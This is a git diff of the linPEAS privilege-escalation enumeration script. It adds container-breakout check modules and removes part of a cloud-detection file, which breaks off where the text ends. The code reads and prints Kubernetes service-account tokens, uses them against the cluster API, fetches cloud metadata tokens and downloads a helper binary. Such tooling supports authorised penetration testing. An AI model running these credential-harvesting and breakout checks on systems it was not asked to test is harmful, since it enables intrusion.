"https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts" - - checkProcSysBreakouts - print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "Run unshare .................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED}," - print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED}," - if [ "$EXTRA_CHECKS" ]; then - print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED}," - print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED}," - fi - - echo "" - print_3title "Namespaces" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces" - ls -l /proc/self/ns/ - - if echo "$containerType" | grep -qi "kubernetes"; then - print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" - print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" - echo "" - - print_2title "Kubernetes Information" - print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod" - - - print_3title "Kubernetes service account folder" - ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null - echo "" - - print_3title "Kubernetes env vars" - (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType=" - echo "" - - print_3title "Current sa user k8s permissions" - print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes" - kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \ - "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ - -X 'POST' -H 'Content-Type: application/json' \ - --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED}," - - fi - echo "" - - print_2title "Container Capabilities" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape" - if [ "$(command -v capsh)" ]; then - capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" - else - defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap" - cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" - echo $ITALIC"Run capsh --decode= to decode the capabilities"$NC - fi - echo "" - - print_2title "Privilege Mode" - if [ -x "$(command -v fdisk)" ]; then - if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then - echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW}," - else - echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN}," - fi - else - echo_not_found - fi - echo "" - - print_2title "Interesting Files Mounted" - (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g" - echo "" - - print_2title "Possible Entrypoints" - ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq - echo "" -fi diff --git a/linPEAS/builder/linpeas_parts/2_container/1_Container_tools.sh b/linPEAS/builder/linpeas_parts/2_container/1_Container_tools.sh new file mode 100644 index 0000000..3e444f6 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/2_container/1_Container_tools.sh @@ -0,0 +1,22 @@ +# Title: Container - Container Tools +# ID: CT_Container_tools +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Find container related tools in the PATH of the system +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Container related tools present (if any):" +command -v docker || echo -n '' +command -v lxc || echo -n '' +command -v rkt || echo -n '' +command -v kubectl || echo -n '' +command -v podman || echo -n '' +command -v runc || echo -n '' \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh b/linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh new file mode 100644 index 0000000..e0096aa --- /dev/null +++ b/linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh @@ -0,0 +1,32 @@ +# Title: Container - List mounted tokens +# ID: CT_List_mounted_tokens +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: List tokens mounted in the system if any +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: +# Initial Functions: +# Generated Global Variables: $ALREADY_TOKENS, $TEMP_TOKEN +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then + print_2title "Listing mounted tokens" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + ALREADY_TOKENS="IinItialVaaluE" + for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do + TEMP_TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) + if ! [ $(echo $TEMP_TOKEN | grep -E $ALREADY_TOKENS) ]; then + ALREADY_TOKENS="$ALREADY_TOKENS|$TEMP_TOKEN" + echo "Directory: $i" + echo "Namespace: $(cat $i)" + echo "" + echo $TEMP_TOKEN + echo "================================================================================" + echo "" + fi + done +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh b/linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh new file mode 100644 index 0000000..9a3f03a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/2_container/3_Container_details.sh @@ -0,0 +1,40 @@ +# Title: Container - Container details +# ID: CT_Container_details +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get container details +# License: GNU GPL +# Version: 1.0 +# Functions Used: containerCheck, echo_no, print_2title, print_list +# Global Variables: $containerType +# Initial Functions: containerCheck +# Generated Global Variables: $dockercontainers, $podmancontainers, $lxccontainers, $rktcontainers, $containerCounts +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Container details" +print_list "Is this a container? ...........$NC $containerType" + +print_list "Any running containers? ........ "$NC +# Get counts of running containers for each platform +dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l) +podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l) +lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l) +rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l) +if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then + echo_no +else + containerCounts="" + if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi + if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi + if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi + if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi + echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED}," + + # List any running containers + if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi + if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi + if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi + if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh b/linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh new file mode 100644 index 0000000..e5cad03 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/2_container/4_Docker_container_details.sh @@ -0,0 +1,37 @@ +# Title: Container - Docker Container details +# ID: CT_Docker_container_details +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get docker Container details from the inside +# License: GNU GPL +# Version: 1.0 +# Functions Used: checkDockerRootless, checkDockerVersionExploits, containerCheck, enumerateDockerSockets, inDockerGroup, print_2title, print_list +# Global Variables: $containerType, $DOCKER_GROUP, $DOCKER_ROOTLESS, $dockerVersion, $inContainer, $VULN_CVE_2019_5736, $VULN_CVE_2019_13139, $VULN_CVE_2021_41091 +# Initial Functions: containerCheck +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +#If docker +if echo "$containerType" | grep -qi "docker"; then + print_2title "Docker Container details" + inDockerGroup + print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Looking and enumerating Docker Sockets (if any):\n"$NC + enumerateDockerSockets + print_list "Docker version .................$NC$dockerVersion" + checkDockerVersionExploits + print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Vulnerable to CVE-2021-41091 ...$NC$VULN_CVE_2021_41091"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + if [ "$inContainer" ]; then + checkDockerRootless + print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," + echo "" + fi + if df -h | grep docker; then + print_2title "Docker Overlays" + df -h | grep docker + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh b/linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh new file mode 100644 index 0000000..4d14f43 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/2_container/5_Container_breakout.sh @@ -0,0 +1,134 @@ +# Title: Container - Container & breakout enumeration +# ID: CT_Container_breakout +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Container breakout enumeration to see if in case we are inside a container we could escape +# License: GNU GPL +# Version: 1.0 +# Functions Used: checkContainerExploits, checkProcSysBreakouts, containerCheck, echo_no, echo_not_found, print_2title, print_3title, print_info, print_list +# Global Variables: $binfmt_misc_breakout, $containercapsB, $containerType, $core_pattern_breakout, $dev_mounted, $efi_efivars_writable, $efi_vars_writable, $GREP_IGNORE_MOUNTS, $inContainer, $kallsyms_readable, $kcore_readable, $kmem_readable, $kmem_writable, $kmsg_readable, $mem_readable, $mem_writable, $modprobe_present, $mountinfo_readable, $panic_on_oom_dos, $panic_sys_fs_dos, $proc_configgz_readable, $proc_mounted, $run_unshare, $release_agent_breakout1, $release_agent_breakout2, $release_agent_breakout3, $sched_debug_readable, $security_present, $security_writable, $sysreq_trigger_dos, $uevent_helper_breakout, $vmcoreinfo_readable, $VULN_CVE_2019_5021, $self_mem_readable +# Initial Functions: containerCheck +# Generated Global Variables: $defautl_docker_caps +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$inContainer" ]; then + echo "" + print_2title "Container & breakout enumeration" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout" + print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')" + if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then + print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" + fi + print_list "Seccomp enabled? ............... "$NC + ([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + + print_list "AppArmor profile? .............. "$NC + (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," + + print_list "User proc namespace? ........... "$NC + if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi + + checkContainerExploits + print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + + print_3title "Breakout via mounts" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts" + + checkProcSysBreakouts + print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Run unshare .................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "release_agent breakout 3........ $release_agent_breakout3\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED}," + print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED}," + if [ "$EXTRA_CHECKS" ]; then + print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/self/mem readable ........ $self_mem_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED}," + fi + + echo "" + print_3title "Namespaces" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces" + ls -l /proc/self/ns/ + + if echo "$containerType" | grep -qi "kubernetes"; then + print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" + print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" + echo "" + + print_2title "Kubernetes Information" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + + + print_3title "Kubernetes service account folder" + ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null + echo "" + + print_3title "Kubernetes env vars" + (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType=" + echo "" + + print_3title "Current sa user k8s permissions" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles" + kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \ + "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ + -X 'POST' -H 'Content-Type: application/json' \ + --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED}," + + fi + echo "" + + print_2title "Container Capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape" + if [ "$(command -v capsh || echo -n '')" ]; then + capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" + else + defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap" + cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g" + echo $ITALIC"Run capsh --decode= to decode the capabilities"$NC + fi + echo "" + + print_2title "Privilege Mode" + if [ -x "$(command -v fdisk || echo -n '')" ]; then + if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then + echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW}," + else + echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN}," + fi + else + echo_not_found + fi + echo "" + + print_2title "Interesting Files Mounted" + (mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g" + echo "" + + print_2title "Possible Entrypoints" + ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/2_container/6_Am_I_contained.sh b/linPEAS/builder/linpeas_parts/2_container/6_Am_I_contained.sh new file mode 100644 index 0000000..989292f --- /dev/null +++ b/linPEAS/builder/linpeas_parts/2_container/6_Am_I_contained.sh @@ -0,0 +1,20 @@ +# Title: Container - Am I Containered +# ID: CT_Am_I_contained +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Am I Containered tool +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, execBin +# Global Variables: +# Initial Functions: +# Generated Global Variables: $FAT_LINPEAS_AMICONTAINED +# Fat linpeas: 1 +# Small linpeas: 0 + + +if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then + print_2title "Am I Containered?" + FAT_LINPEAS_AMICONTAINED="peass{https://github.com/genuinetools/amicontained/releases/latest/download/amicontained-linux-amd64}" + execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED" +fi diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh deleted file mode 100644 index e6ede29..0000000 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ /dev/null @@ -1,739 +0,0 @@ -########################################### -#-----------) Cloud functions (-----------# -########################################### - -GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" -GCP_BAD_SCOPES="/cloud-platform|/compute" - -exec_with_jq(){ - if [ "$(command -v jq)" ]; then - $@ | jq 2>/dev/null; - if ! [ $? -eq 0 ]; then - $@; - fi - else - $@; - fi -} - -check_gcp(){ - is_gcp_vm="No" - is_gcp_function="No" - if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then - is_gcp_vm="Yes" - fi - # CHeck if /workspace exists - if [ -d "/workspace" ] && [ -d "/layers" ]; then - is_gcp_vm="No" - is_gcp_function="Yes" - fi -} - -check_do(){ - is_do="No" - if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then - is_do="Yes" - fi -} - -check_aliyun_ecs () { - is_aliyun_ecs="No" - if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then - is_aliyun_ecs="Yes" - fi -} - -check_tencent_cvm () { - is_tencent_cvm="No" - if grep -qi Tencent /etc/cloud/cloud.cfg; then - is_tencent_cvm="Yes" - fi -} - -check_ibm_vm(){ - is_ibm_vm="No" - if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then - curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 - if [ "$?" -eq 0 ]; then - IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) - is_ibm_vm="Yes" - fi - fi -} - -check_aws_ecs(){ - is_aws_ecs="No" - if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then - is_aws_ecs="Yes"; - aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - - elif (env | grep -q ECS_CONTAINER_METADATA_URI); then - is_aws_ecs="Yes"; - aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - - elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then - is_aws_ecs="Yes"; - fi - - if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - fi -} - -check_aws_ec2(){ - is_aws_ec2="No" - is_aws_ec2_beanstalk="No" - - if [ -d "/var/log/amazon/" ]; then - is_aws_ec2="Yes" - EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) - - else - EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) - if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then - is_aws_ec2="Yes" - fi - fi - - if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then - is_aws_ec2_beanstalk="Yes" - fi -} - -check_aws_lambda(){ - is_aws_lambda="No" - - if (env | grep -q AWS_LAMBDA_); then - is_aws_lambda="Yes" - fi -} - -check_aws_codebuild(){ - is_aws_codebuild="No" - - if [ 